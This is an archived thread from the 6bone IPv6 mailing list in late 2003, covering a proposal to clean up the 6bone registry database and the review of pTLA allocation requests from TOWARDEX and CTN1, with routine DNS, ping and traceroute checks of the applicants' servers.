> | least would show people that it is being looked after.
> I have always supported this initiative. We may be able to 
> gain valuable
> expertise and detect operational pitfalls if we clean up 'a whois
> database'. Perhaps your work can be used to help clean up RIPE/ARIN
> databases too at some point in time.
> 
> If you have any methodology you'd like to share with the 
> list, please go ahead. Or, simply copy the database, clean it up privately 
> and present a diff to the list.
> 
> I agree that the database is being neglected by many folks. Perhaps we
> can reinstate some basic sanity....

We could take the current 6bone database and clean it up a lot
by doing at least the following things:

 - check all objects for valid maintainers.
   - if an object doesn't have a maintainer mail the e-mail addresses
     and check them for validity.
     "This is the 6bone DB Cleaning service, if you read this message
      please attach a maintainer object to <handle> or remove the object
      Objects that don't have a maintainer in <n> days will receive a
      default maintainer"
   - purge if none of the email addresses are valid.
   - add default maintainer when no response in <n> days.

 - don't allow any unmaintained objects to be inserted anymore

 - notify and possibly later purge all ipv6-sites using private ASN's.

 - mnt-lower support
   Insert mnt-lower's for the pTLA's and the currently existing
   inet6num's with the maintainers they have.
   inet6num's without maintainers get the maintainer from the
   level above, also allowing the real owners of the TLA to
   modify them if they want.

 - Removal of all old prefixes (5000::/8 or something?)

A second phase could also include checking:
 - references of objects, though I am quite sure that many
   objects exist for usage in remote places, eg SixXS uses
   the person objects which are mostly unreferenced by the
   rest of the database.

If wanted I could create a program which does all of the above
and then we could have a nice cleaning celebration the next RIPE
meeting. People are urging to clean up odd objects in the RIPEdb
also thus having a clean 6bone db seems like a good idea.

As for having a lot of maintainers, we could even create a
special "MNT-PASSWORD" which allows changing objects using a
per-object password. I envision something like:

person:       Ernest. X. Ample
address:      ExampleCity
e-mail:       test@example.com
nic-hdl:      TEST-EXAMPLE
remarks:      PASSWORD: $1$19e017c9c26a8af449440dae3a6b0aad
notify:       test@example.com
mnt-by:       MNT-PASSWORD
changed:      test@example.com 20031125
source:       6BONE

Then they can manage the object like it is theirs through
the site by sending:

person:       Ernest. X. Ample
address:      ExampleStreet
address:      ExampleCity
e-mail:       test@example.com
nic-hdl:      TEST-EXAMPLE
remarks:      PASSWORD: $1$19e017c9c26a8af449440dae3a6b0aad
notify:       test@example.com
mnt-by:       MNT-PASSWORD
changed:      test@example.com 20031125
source:       6BONE
password:     P455W0RD

Retrieving forgotten passwords could be handled by sending
a new "PASSWORDRECOVER" operation, which would then send
an email to the user with their new password.

Greets,
 Jeroen

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From sb@rdns.de Tue Nov 25 09:06:38 2003
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Hi,

> But Viagenie (now Hexago) have a Webinterface at:
> http://eng.hexago.com/6bone/registry/

Hmm, didn't notice that. Does anybody know who's the ipv6 peering
contact there now? I mailed to the old viagenie address but didn't get
any reply yet.

Thanks for any help.

--
Best regards,
Sascha Bielski                        mailto:sb@rdns.de
Unix-Servers.de IPv6 Management       Phone: +49 179 7475737


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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Sascha Bielski'" <sb@rdns.de>, <6bone@mailman.isi.edu>
Subject: RE: Updating objects in the 6bone database (Was: [6bone] 6bone pTLA 3FFE:401C::/32 allocated to T-NET)
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Sascha Bielski wrote:

> > But Viagenie (now Hexago) have a Webinterface at:
> > http://eng.hexago.com/6bone/registry/
> 
> Hmm, didn't notice that. Does anybody know who's the ipv6 peering
> contact there now? I mailed to the old viagenie address but didn't get
> any reply yet.

Marc Blanchet should be able to help you out in that front.

Greets,
 Jeroen

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From david@iprg.nokia.com Tue Nov 25 12:52:38 2003
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Date: Tue, 25 Nov 2003 12:52:14 -0800
From: David Kessens <david@iprg.nokia.com>
To: "'6BONE List'" <6bone@mailman.isi.edu>
Cc: Jeroen Massar <jeroen@unfix.org>
Subject: Re: [6bone] 6bone pTLA 3FFE:401C::/32 allocated to T-NET
References: <5.2.0.9.0.20031124134150.02a27d70@mail.addr.com> <002601c3b2ee$f467cdb0$210d640a@unfix.org> <5.2.0.9.0.20031124170841.02a29638@mail.addr.com>
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Jeroen,

At 01:56 AM 11/25/2003 +0100, Jeroen Massar wrote:
>
> If wanted, I could do some cleaning in the 6bone database. The plan
> for doing it and the tools are near-ready. If this is wanted, please
> give a notice and I'll start working on it. Would be a good thing to
> have a clean 6bone database, which then at least would show people
> that it is being looked after.

I personally think that it is not worth the effort. The best way to
encourage people to use the registry is to make it easy for people to
register. This same requirement also causes it to make it easy for
people to register garbage. If you don't register a proper mail
address, people won't be able to reach you when you have a problem. If
people choose not to register, so be it - it's really their own
problem not mine. In addition, I have plenty of disk space so I really
don't mind carrying some old stale data. Also, sometimes it is still
better to find stale information than nothing at all, you can always
do a google search or whatever and there is a good chance you will be
able to find the person. The Internet is a cooperative thing and there
is no Internet police who can chase down the bad guys. We can only do
this ourselves by putting filters in our routers and refusing to peer
with phony businesses. The registry is of very little help here, one
can easily hijack address space without registering it anywhere. In
fact, I rather have those people register since you can at least send
them a mail.

I think that cleaning the data might be esthetically nice but it just
doesn't change anything in the network and isn't that helpful for the
rfc following crowd either. However, if you really want to spend time
on this, feel free to propose a well thought out plan to the list and
ask whether people think this is a good idea and I am more than happy
to give you the right kind of access in order to help you.

David K.
---

From jeroen@unfix.org Tue Nov 25 13:20:53 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'David Kessens'" <david@iprg.nokia.com>,
   "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] 6bone pTLA 3FFE:401C::/32 allocated to T-NET
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-----BEGIN PGP SIGNED MESSAGE-----

David Kessens [mailto:david@iprg.nokia.com] wrote:

> Jeroen,
> 
> At 01:56 AM 11/25/2003 +0100, Jeroen Massar wrote:
> >
> > If wanted, I could do some cleaning in the 6bone database. The plan
> > for doing it and the tools are near-ready. If this is wanted, please
> > give a notice and I'll start working on it. Would be a good thing to
> > have a clean 6bone database, which then at least would show people
> > that it is being looked after.
> 
> I personally think that it is not worth the effort. The best way to
> encourage people to use the registry is to make it easy for people to
> register. This same requirement also causes it to make it easy for
> people to register garbage. If you don't register a proper mail
> address, people won't be able to reach you when you have a problem.

<SNIP>

That is ofcourse true, but seeing the number of unresponsive pTLA's
that I have notified over the last year of rather odd configurations,
take Nortel's dually announced prefix for instance (3ffe:1300::/24)
and AS10318 who simply cannot be contacted, it is to differ if the
data has any value and if there is still someone active in those places.
Fortunatly many 'peerings' have been stopped, also because they could
not be reached by their peering partners. They apparently are not
following the guidelines that they signed up for when requesting the pTLA's.
It is not to harrass somebody, but to point out that there is some
fault in the system and that they should fix it making it a better place.
It could also be a software bug, if we don't find and fix it now it
will probably never be fixed or wreak havoc in a couple of years.

I suddenly do have to note that I see changed contact data for the NORTEL
ipv6-site, let's give them some mail. Something got woken there but
didn't take time to respond to this mailinglist.

Having a mnt-lower on the prefixes is thus my primary concern actually
as now anybody can register any prefix and get away with it, one can
even overwrite data without much trouble. The fun part is that you
cannot remove data. Thus if you own a pTLA anybody can insert data
lower than you and you as the owner of the pTLA can't remove it
without contacting you (David), not that it will happen much but it
may occur, for instance when a new pTLA gets allocated and the prefix
is already taken. Any announced prefixes will indeed be caught by
amongst others Merit's 6bone routing report and also by GRH so that
should not pose much of a problem.

Greets,
 Jeroen

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From bob@thefinks.com Mon Dec  1 09:51:28 2003
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Subject: [6bone] pTLA request by TOWARDEX - review closes 15 December 2003
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6bone Folk,

TOWARDEX has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this closes 15 December 
2003. Please send your comments to me or the list.

   <http://www.occaid.org>


This may be the last 6bone pTLA allocation made as the phaseout plan 
specifies no new pTLA allocations after the end of this year. Thus if 
anyone is expecting to request a pTLA, the request must be sent to me no 
later than 5 December to allow enough review and approval time prior to 31 
December.


Thanks,

Bob

===
>Date: Sun, 30 Nov 2003 19:57:27 -0500
>From: Haesu <haesu@towardex.com>
>To: bob@thefinks.com
>Cc: rad@towardex.com, tim@towardex.com, clifford@cnacs.occaid.org
>Subject: pTLA request by TOWARDEX
>
>Hello Bob,
>
>I would like to request a pTLA for TOWARDEX. Please see the relevant
>information below:
>
>Thank you,
>-hc
>Haesu C.
>TowardEX Technologies, Inc.
>
>P.S.: I've tried to send you this to fink@es.net according to the 6bone
>web site, but it bounced, so I am sending this to you at thefinks.com.
>Thanks
>
>---
>7. Guidelines for 6Bone pTLA sites
>
>      The following rules apply to qualify for a 6Bone pTLA allocation. It
>      should be recognized that holders of 6Bone pTLA allocations are
>      expected to provide production quality backbone network services for
>      the 6Bone.
>
>      1. The pTLA Applicant must have a minimum of three (3) months
>         qualifying experience as a 6Bone end-site or pNLA transit. During
>         the entire qualifying period the Applicant must be operationally
>         providing the following:
>
>TOWARDEX established 6bone connectivity since June of 2003.
>
>         a. Fully maintained, up to date, 6Bone Registry entries for their
>            ipv6-site inet6num, mntner, and person objects, including each
>            tunnel that the Applicant has.
>
>ipv6-site:    TOWARDEX
>origin:       AS30071
>descr:        OCCAIDTowardEX IPv6 Backbone Network
>               Network Center - Weehawken, NJ
>country:      US
>prefix:       2001:470:112::/48
>prefix:       3FFE:4010:A00E::/48
>application:  http www.twdx.net
>application:  http www.occaid.org
>application:  ping www.occaid.org
>application:  ping 6to4relay.ngtran.twdx.net
>tunnel:       IPv6 in IPv4 oct.towardex.com -> 6bone.enterzone.net 
>ENTERZONE BGP4+
>tunnel:       IPv6 in IPv4 oct.towardex.com -> nyc.ipv6.he.net HURRICANE BGP4+
>tunnel:       IPv6 in IPv4 isc.towardex.com -> fmt.ipv6.he.net HURRICANE BGP4+
>tunnel:       IPv6 in IPv4 oct.towardex.com -> 66.252.21.200 CIT BGP4+
>tunnel:       IPv6 in IPv4 isc.towardex.com -> 6bone.lava.net LAVANET BGP4+
>tunnel:       IPv6 in IPv4 sfo.towardex.com -> core1.dllstx1.syn2.net 
>VLINK BGP4+
>tunnel:       IPv6 in IPv4 isc.towardex.com -> 69.22.171.192 EMIC BGP4+
>contact:      RAD-6BONE
>contact:      HDJ1-6BONE
>contact:      TWDX-6BONE
>contact:      ATD7-6BONE
>remarks:      The OCCAID/TowardEX IPv6 network has been operational since 
>June of 2003.
>remarks:      ip6.int and ip6.arpa zones for 3ffe:4010:a00e::/48 and 
>2001:470:112::/48 has been operational since October of 2003.
>remarks:      OCCAID/TowardEX runs a national IPv6 network, with access 
>POPs in Boston, New York, San Francisco, Houston, and more.
>remarks:      Tunnel and peering requests are welcome - send to 
>ip-admin@twdx.net
>mnt-by:       MAINT-TOWARDEX
>changed:      rad@towardex.com 20031016
>changed:      rad@towardex.com 20031017
>changed:      haesu@towardex.com 20031130
>source:       6BONE
>
>         b. Fully maintained, and reliable, BGP4+ peering and connectivity
>            between the Applicant's boundary router and the appropriate
>            connection point into the 6Bone. This router must be IPv6
>            pingable. This criteria is judged by members of the 6Bone
>            Operations Group at the time of the Applicant's pTLA request.
>
>We have BGP upstream connectivity with ENTERZONE, HURRICANE and LAVANET at two
>different routers and locations of our network.
>
>Our routers (isc.towardex.com, oct.towardex.com, sfo.towardex.com) are 
>IPv6 pingable.
>
>         c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>            entries for the Applicant's router(s) and at least one host
>            system.
>
>$ host -t aaaa isc.towardex.com
>isc.towardex.com has address 2001:470:1f00:758::205
>$ host -t aaaa oct.towardex.com
>oct.towardex.com has address 2001:470:112:0:feed::1
>$ host -t aaaa sfo.towardex.com
>sfo.towardex.com has address 2001:470:1f00:758::105
>$ host -t aaaa twdx.net
>twdx.net has address 2001:470:112:c0ff:ee:0:e1ee:7
>$ host 2001:470:112:c0ff:ee:0:e1ee:7
>7.0.0.0.e.e.1.e.0.0.0.0.e.e.0.0.f.f.0.c.2.1.1.0.0.7.4.0.1.0.0.2.IP6.ARPA 
>domain name pointer 2001-470-112-c0ff-ee--e1ee-7.towardex.com
>
>primary DNS server ns1.twdx.net
>secondary DNS server ns2.twdx.net
>
>         d. A fully maintained, and reliable, IPv6-accessible system
>            providing, at a mimimum, one or more web pages, describing the
>            Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>We have IPv6 www (www.twdx.net) as well as our IPv6 project site www 
>(www.occaid.org)
>
># ping6 -c 1 www.twdx.net
>PING6(56=40+8+8 bytes) 2001:470:112:c0ff:ee:0:e1ee:7 --> 
>2001:470:112:c0ff:ee:0:e1ee:7
>16 bytes from 2001:470:112:c0ff:ee:0:e1ee:7, icmp_seq=0 hlim=64 time=0.098 ms
>
>--- twdx.net ping6 statistics ---
>1 packets transmitted, 1 packets received, 0% packet loss
>round-trip min/avg/max/std-dev = 0.098/0.098/0.098/0.000 ms
># ping6 -c 1 www.occaid.org
>PING6(56=40+8+8 bytes) 2001:470:1f00:758:c0ff:ee:0:1 --> 
>2001:470:1f00:758:c0ff:ee:0:1
>16 bytes from 2001:470:1f00:758:c0ff:ee:0:1, icmp_seq=0 hlim=64 time=0.110 ms
>
>--- www.occaid.org ping6 statistics ---
>1 packets transmitted, 1 packets received, 0% packet loss
>round-trip min/avg/max/std-dev = 0.110/0.110/0.110/0.000 ms
>
>
>      2. The pTLA Applicant MUST have the ability and intent to provide
>         "production-quality" 6Bone backbone service. Applicants must
>         provide a statement and information in support of this claim.
>         This MUST include the following:
>
>         a. A support staff of two persons minimum, three preferable, with
>            person attributes registered for each in the ipv6-site object
>            for the pTLA applicant.
>
>contact:      RAD-6BONE
>contact:      HDJ1-6BONE
>contact:      ATD7-6BONE
>
>         b. A common mailbox for support contact purposes that all support
>            staff have acess to, pointed to with a notify attribute in the
>            ipv6-site object for the pTLA Applicant.
>
>person:       IPv6 Technical Operations Team
>address:      Network Operations Center
>address:      TowardEX Technologies, Inc.
>address:      1740 Massachusetts Avenue
>address:      Boxborough, MA 01719
>address:      US
>phone:        +1-978-263-3399 170
>e-mail:       ip-admin@twdx.net
>nic-hdl:      TWDX-6BONE
>mnt-by:       MAINT-TOWARDEX
>changed:      rad@towardex.com 20031129
>source:       6BONE
>
>      3. The pTLA Applicant MUST have a potential "user community" that
>         would be served by its becoming a pTLA, e.g., the Applicant is a
>         major provider of Internet service in a region, country, or focus
>         of interest. Applicant must provide a statement and information in
>         support this claim.
>
>We have a working development backbone IPv6 network using prefix 
>3ffe:4010:a00e::/48 as
>well as 2001:470:112::/48. We run a national North American training and 
>lab network
>called OCCAID (www.occaid.org) with total of 227 members as of now 
>connected to POP routers
>through both tunnel and native connectivity. Our network was started using 
>IPv4 initially,
>and since June we have a complete IPv6 infrastructure deployed and 
>operational.
>
>Our goals are to test and deploy various IPv6 implementations through use 
>of different
>vendor implementations and also to develop software products surrounding 
>the use of IPv6
>technology.
>
>      4. The pTLA Applicant MUST commit to abide by the current 6Bone
>         operational rules and policies as they exist at time of its
>         application, and agree to abide by future 6Bone backbone
>         operational rules and policies as they evolve by consensus of the
>         6Bone backbone and user community.
>
>We fully agree with all concurrent and future 6Bone operational rules and 
>policies.
>
>       8. 6Bone Operations Group
>
>         The 6Bone Operations Group is the group in charge of monitoring and
>         policing adherence to the current rules. Membership in the 6Bone
>         Operations Group is mandatory for, and restricted to, sites connected
>         to the 6Bone.
>
>         The 6Bone Operations Group is currently defined by those members of
>         the existing 6Bone mailing list who represent sites participating in
>         the 6Bone. Therefore it is incumbent on relevant site contacts to
>         join the 6Bone mailing list. Instructions on how to join the list are
>         maintained on the 6Bone web site at < http://www.6bone.net>.
>
>We've joined the 6Bone mailing list.


From bob@thefinks.com Tue Dec  2 10:33:11 2003
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To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <bob@thefinks.com>
Cc: "Marc GOMEZ" <mg@ctn1.com>
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Subject: [6bone] pTLA request by CTN1 - review closes 16 December 2003
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6bone Folk,

CTN1 has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this closes 16 December 
2003. Please send your comments to me or the list.

   <http://www.ctn1.com>

This may be the last 6bone pTLA allocation made as the phaseout plan 
specifies no new pTLA allocations after the end of this year. Thus if 
anyone is expecting to request a pTLA, the request must be sent to me no 
later than 5 December to allow enough review and approval time prior to 31 
December.


Thanks,

Bob

===
>From: "Marc GOMEZ" <mg@ctn1.com>
>To: <bob@thefinks.com>
>Cc: <6bone@ctn1.net>
>Subject: 6bone request form
>Date: Mon, 1 Dec 2003 23:06:31 +0100
>
>Dear Bob,
>
>I'd like to request a pTLA for CTN1, please find relevant info below.
>
> >From RFC 2772
>
>
>7. Guidelines for 6Bone pTLA sites
>
>
>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>     should be recognized that holders of 6Bone pTLA allocations are
>     expected to provide production quality backbone network services for
>     the 6Bone.
>
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>        qualifying experience as a 6Bone end-site or pNLA transit.   During
>        the entire qualifying period the Applicant must be operationally
>        providing the following:
>
>Our IPv6 site is operational since 09 August 2003.
>
>        a. Fully maintained, up to date, 6Bone Registry entries for their
>           ipv6-site inet6num, mntner, and person objects, including each
>           tunnel that the Applicant has.
>
>http://whois.6bone.net/cgi-bin/whois?CTN1
>
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>           between the Applicant's boundary router and the appropriate
>           connection point into the 6Bone. This router must be IPv6
>           pingable. This criteria is judged by members of the 6Bone
>           Operations Group at the time of the Applicant's pTLA request.
>
>Our ASN is 29402.
>We have an IPv6 native Gigabit connexion to FNIX6.
>NDSoftware (AS25358) provide us IPv6 transit through FNIX6.
>
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>           entries for the Applicant's router(s) and at least one host
>           system.
>
>We have 3 nameservers:
>  - ns1.ctn1.net
>  - ns2.ctn1.net
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>           providing, at a mimimum, one or more web pages, describing the
>           Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>http://www.ctn1.com (all services are ready to use with IPv6)
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>        "production-quality" 6Bone backbone service. Applicants must
>        provide a statement and information in support of this claim.
>        This MUST include the following:
>
>
>       a. A support staff of two persons minimum, three preferable, with
>           person attributes registered for each in the ipv6-site object
>           for the pTLA applicant.
>
>RP10-6BONE
>MG22-6BONE
>BV3-6BONE
>
>       b. A common mailbox for support contact purposes that all support
>           staff have acess to, pointed to with a notify attribute in the
>           ipv6-site object for the pTLA Applicant.
>
>6bone@ctn1.net
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>        would be served by its becoming a pTLA, e.g., the Applicant is a
>        major provider of Internet service in a region, country, or focus
>        of interest. Applicant must provide a statement and information in
>        support this claim.
>
>CTN1 operates an IPv6 Network and provides a lot of IPv6 services to many
>projects.
>We provide: Usenet Provider, Email provider and Hosting Provider with dual
>IPv4 and IPv6.
>All IPv6 services is free of charge.
>We encourage all people to start a web site and Email server with IPv6.
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>        operational rules and policies as they exist at time of its
>        application, and agree to abide by future 6Bone backbone
>        operational rules and policies as they evolve by consensus of the
>        6Bone backbone and user community.
>
>
>We agree to all current and future rules and policies.
>
>----


From pekkas@netcore.fi Tue Dec  2 12:14:30 2003
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Date: Tue, 2 Dec 2003 22:13:54 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Bob Fink <bob@thefinks.com>
cc: 6BONE List <6bone@mailman.isi.edu>, Marc GOMEZ <mg@ctn1.com>
Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003
In-Reply-To: <5.2.0.9.0.20031202103001.02b69788@mail.addr.com>
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On Tue, 2 Dec 2003, Bob Fink wrote:
> CTN1 has requested a pTLA allocation and I find their request fully 
> compliant with RFC2772. The open review period for this closes 16 December 
> 2003. Please send your comments to me or the list.
> 
>    <http://www.ctn1.com>
> 
> This may be the last 6bone pTLA allocation made as the phaseout plan 
> specifies no new pTLA allocations after the end of this year. Thus if 
> anyone is expecting to request a pTLA, the request must be sent to me no 
> later than 5 December to allow enough review and approval time prior to 31 
> December.

I do not believe this application fulfills the criteria for 2) or 3).  
In particular, CTN1 is clearly a web/server-hosting company; this is
not backbone operations:

 2. The pTLA Applicant MUST have the ability and intent to provide   
        "production-quality" 6Bone backbone service. [...]

and:

    3. The pTLA Applicant MUST have a potential "user community" that
        would be served by its becoming a pTLA, e.g., the Applicant is a 
        major provider of Internet service in a region, country, or focus
        of interest. Applicant must provide a statement and information in
        support this claim.

There was an answer to the latter, but it did not answer the real
question, how would the user community be served by its becoming a
*pTLA*.  Sure, it's nice to give access to the users, but that can be
done as an end-site as well, as is currently being done.

I'd strongly object to granting this pTLA request.

> ===
> >From: "Marc GOMEZ" <mg@ctn1.com>
> >To: <bob@thefinks.com>
> >Cc: <6bone@ctn1.net>
> >Subject: 6bone request form
> >Date: Mon, 1 Dec 2003 23:06:31 +0100
> >
> >Dear Bob,
> >
> >I'd like to request a pTLA for CTN1, please find relevant info below.
> >
> > >From RFC 2772
> >
> >
> >7. Guidelines for 6Bone pTLA sites
> >
> >
> >    The following rules apply to qualify for a 6Bone pTLA allocation. It
> >     should be recognized that holders of 6Bone pTLA allocations are
> >     expected to provide production quality backbone network services for
> >     the 6Bone.
> >
> >
> >    1. The pTLA Applicant must have a minimum of three (3) months
> >        qualifying experience as a 6Bone end-site or pNLA transit.   During
> >        the entire qualifying period the Applicant must be operationally
> >        providing the following:
> >
> >Our IPv6 site is operational since 09 August 2003.
> >
> >        a. Fully maintained, up to date, 6Bone Registry entries for their
> >           ipv6-site inet6num, mntner, and person objects, including each
> >           tunnel that the Applicant has.
> >
> >http://whois.6bone.net/cgi-bin/whois?CTN1
> >
> >
> >       b. Fully maintained, and reliable, BGP4+ peering and connectivity
> >           between the Applicant's boundary router and the appropriate
> >           connection point into the 6Bone. This router must be IPv6
> >           pingable. This criteria is judged by members of the 6Bone
> >           Operations Group at the time of the Applicant's pTLA request.
> >
> >Our ASN is 29402.
> >We have an IPv6 native Gigabit connexion to FNIX6.
> >NDSoftware (AS25358) provide us IPv6 transit through FNIX6.
> >
> >
> >       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> >           entries for the Applicant's router(s) and at least one host
> >           system.
> >
> >We have 3 nameservers:
> >  - ns1.ctn1.net
> >  - ns2.ctn1.net
> >
> >       d. A fully maintained, and reliable, IPv6-accessible system
> >           providing, at a mimimum, one or more web pages, describing the
> >           Applicant's IPv6 services.  This server must be IPv6 pingable.
> >
> >http://www.ctn1.com (all services are ready to use with IPv6)
> >
> >    2. The pTLA Applicant MUST have the ability and intent to provide
> >        "production-quality" 6Bone backbone service. Applicants must
> >        provide a statement and information in support of this claim.
> >        This MUST include the following:
> >
> >
> >       a. A support staff of two persons minimum, three preferable, with
> >           person attributes registered for each in the ipv6-site object
> >           for the pTLA applicant.
> >
> >RP10-6BONE
> >MG22-6BONE
> >BV3-6BONE
> >
> >       b. A common mailbox for support contact purposes that all support
> >           staff have acess to, pointed to with a notify attribute in the
> >           ipv6-site object for the pTLA Applicant.
> >
> >6bone@ctn1.net
> >
> >    3. The pTLA Applicant MUST have a potential "user community" that
> >        would be served by its becoming a pTLA, e.g., the Applicant is a
> >        major provider of Internet service in a region, country, or focus
> >        of interest. Applicant must provide a statement and information in
> >        support this claim.
> >
> >CTN1 operates an IPv6 Network and provides a lot of IPv6 services to many
> >projects.
> >We provide: Usenet Provider, Email provider and Hosting Provider with dual
> >IPv4 and IPv6.
> >All IPv6 services is free of charge.
> >We encourage all people to start a web site and Email server with IPv6.
> >
> >    4. The pTLA Applicant MUST commit to abide by the current 6Bone
> >        operational rules and policies as they exist at time of its
> >        application, and agree to abide by future 6Bone backbone
> >        operational rules and policies as they evolve by consensus of the
> >        6Bone backbone and user community.
> >
> >
> >We agree to all current and future rules and policies.
> >
> >----
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From jeroen@unfix.org Tue Dec  2 12:43:20 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Bob Fink'" <bob@thefinks.com>, "'6BONE List'" <6bone@mailman.isi.edu>
Cc: "'Marc GOMEZ'" <mg@ctn1.com>
Subject: RE: [6bone] pTLA request by CTN1 - review closes 16 December 2003
Date: Tue, 2 Dec 2003 21:43:09 +0100
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-----BEGIN PGP SIGNED MESSAGE-----

Bob Fink wrote:

Only a few comments:

> CTN1 has requested a pTLA allocation and I find their request fully 
> compliant with RFC2772. The open review period for this 
> closes 16 December 
> 2003. Please send your comments to me or the list.
> 
>    <http://www.ctn1.com>

8<---------------------------------------------
Forbidden
You don't have permission to access / on this server.

- --------------------------------------------------------------------------------

Apache/1.3.27 Server at www.ctn1.com Port 80
- --------------------------------------------->8

ctn1.net does exist and work apparently

> >    1. The pTLA Applicant must have a minimum of three (3) months
> >        qualifying experience as a 6Bone end-site or pNLA transit.
> >        During the entire qualifying period the Applicant must be 
> >        operationally providing the following:
> >
> >Our IPv6 site is operational since 09 August 2003.

The site object was last changed:
changed:      mg@ctn1.com 20031118

The person objects all have a changed date of 20031113 or 20031118
and didn't exist before that apparently.

As for cnt1.net

reg_created:    2003-08-06 09:30:00
expires:        2004-08-06 09:30:00
created:        2003-08-06 15:30:01
changed:        2003-11-03 21:48:20

The ASN was assigned 2003-08-29, thus matching these.

ctn1.com is from 2003-04-25 according to whois.

IPv4 addresses for the 'servers' where assigned 20030825.
I wonder how operational they where, but alas...

> >
> >        a. Fully maintained, up to date, 6Bone Registry entries for their
> >           ipv6-site inet6num, mntner, and person objects, including each
> >           tunnel that the Applicant has.
> >
> >http://whois.6bone.net/cgi-bin/whois?CTN1
> >
> >
> >       b. Fully maintained, and reliable, BGP4+ peering and connectivity
> >           between the Applicant's boundary router and the appropriate
> >           connection point into the 6Bone. This router must be IPv6
> >           pingable. This criteria is judged by members of the 6Bone
> >           Operations Group at the time of the Applicant's pTLA request.
> >
> >Our ASN is 29402.
> >We have an IPv6 native Gigabit connexion to FNIX6.
> >NDSoftware (AS25358) provide us IPv6 transit through FNIX6.

Only one peer?

> >       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)

These should be ip6.arpa really really soon.

> >           entries for the Applicant's router(s) and at 
> least one host
> >           system.
> >
> >We have 3 nameservers:
> >  - ns1.ctn1.net
> >  - ns2.ctn1.net

3 nameservers? Listed are two, and of those:

$ host ns1.ctn1.net
ns1.ctn1.net has address 195.140.140.1
$ host 195.140.140.1
Host 1.140.140.195.in-addr.arpa not found: 3(NXDOMAIN)

$ host ns2.ctn1.net
ns2.ctn1.net has address 195.140.141.1
$ host 195.140.141.1
Host 1.141.140.195.in-addr.arpa not found: 3(NXDOMAIN)

And the guessable third:

$ host ns3.ctn1.net
ns3.ctn1.net has address 195.140.142.1
$ host 195.140.142.1
Host 1.142.140.195.in-addr.arpa not found: 3(NXDOMAIN)

> >       d. A fully maintained, and reliable, IPv6-accessible system
> >           providing, at a mimimum, one or more web pages, describing the
> >           Applicant's IPv6 services.  This server must be IPv6 pingable.
> >
> >http://www.ctn1.com (all services are ready to use with IPv6)

$ host -t any www.ctn1.com
www.ctn1.com has address 195.140.143.10

$ host -t any www.ctn1.net
www.ctn1.net has address 195.140.143.10
www.ctn1.net has AAAA address 3ffe:4013:2105:1::5

traceroute to www.ctn1.net (3ffe:4013:2105:1::5) from 3ffe:8114:2000:240:290:27ff:fe24:c19f, 30 hops max, 16 byte packets
<SNIP>
 5  tun1.cr1.par1.fr.ip.ndsoftware.net (3ffe:4013:f:7::1)  42.028 ms  52.713 ms  41.165 ms
 6  ctn1-29402.fnix6.net (3ffe:4013:10:1::4)  40.447 ms  41.087 ms  40.71 ms
 7  ctn1-29402.fnix6.net (3ffe:4013:10:1::4)  3967.01 ms !H

$ ping6 -c 10 3ffe:4013:2105:1::5
PING 3ffe:4013:2105:1::5(3ffe:4013:2105:1::5) 56 data bytes
From 3ffe:4013:10:1::4 icmp_seq=4 Destination unreachable: Address unreachable
From 3ffe:4013:10:1::4 icmp_seq=8 Destination unreachable: Address unreachable
From 3ffe:4013:10:1::4 icmp_seq=10 Destination unreachable: Address unreachable

- --- 3ffe:4013:2105:1::5 ping statistics ---
10 packets transmitted, 0 received, +3 errors, 100% packet loss, time 9092ms

Not reachable?

The website only shows a 'hosting' company, no user endpoints or similar.
I personally wonder for what they need more than the /48 they currently
already have. If they have a requirement for more space they can request
that from their sole upstream.

http://www.ctn1.net/reseau.php shows that it isn't being used (yet) either.

> >    2. The pTLA Applicant MUST have the ability and intent to provide
> >        "production-quality" 6Bone backbone service. Applicants must
> >        provide a statement and information in support of this claim.
> >        This MUST include the following:
> >
> >
> >       a. A support staff of two persons minimum, three 
> preferable, with
> >           person attributes registered for each in the 
> ipv6-site object
> >           for the pTLA applicant.
> >
> >RP10-6BONE
> >MG22-6BONE
> >BV3-6BONE
> >
> >       b. A common mailbox for support contact purposes that 
> all support
> >           staff have acess to, pointed to with a notify 
> attribute in the
> >           ipv6-site object for the pTLA Applicant.
> >
> >6bone@ctn1.net

$ host -t mx ctn1.com
ctn1.com mail is handled by 1 mail.ctn1.com.
$ host -t mx ctn1.net
ctn1.net mail is handled by 1 mail.ctn1.net.

Only 1 IP, could be balanced, but even then...

> >    3. The pTLA Applicant MUST have a potential "user community" that
> >        would be served by its becoming a pTLA, e.g., the 
> Applicant is a
> >        major provider of Internet service in a region, 
> country, or focus
> >        of interest. Applicant must provide a statement and 
> information in
> >        support this claim.
> >
> >CTN1 operates an IPv6 Network and provides a lot of IPv6 services to many
> >projects.
> >We provide: Usenet Provider, Email provider and Hosting Provider with dual IPv4 and IPv6.
> >All IPv6 services is free of charge.
> >We encourage all people to start a web site and Email server 
> with IPv6.

This looks a lot like the NDSOFTWARE request to me, their 'services'
have not become available either and even worse, they removed all the
contact information from the 6bone registry, which only contains 1 person
now. But the director of NDSOFTWARE can probably explain that part.
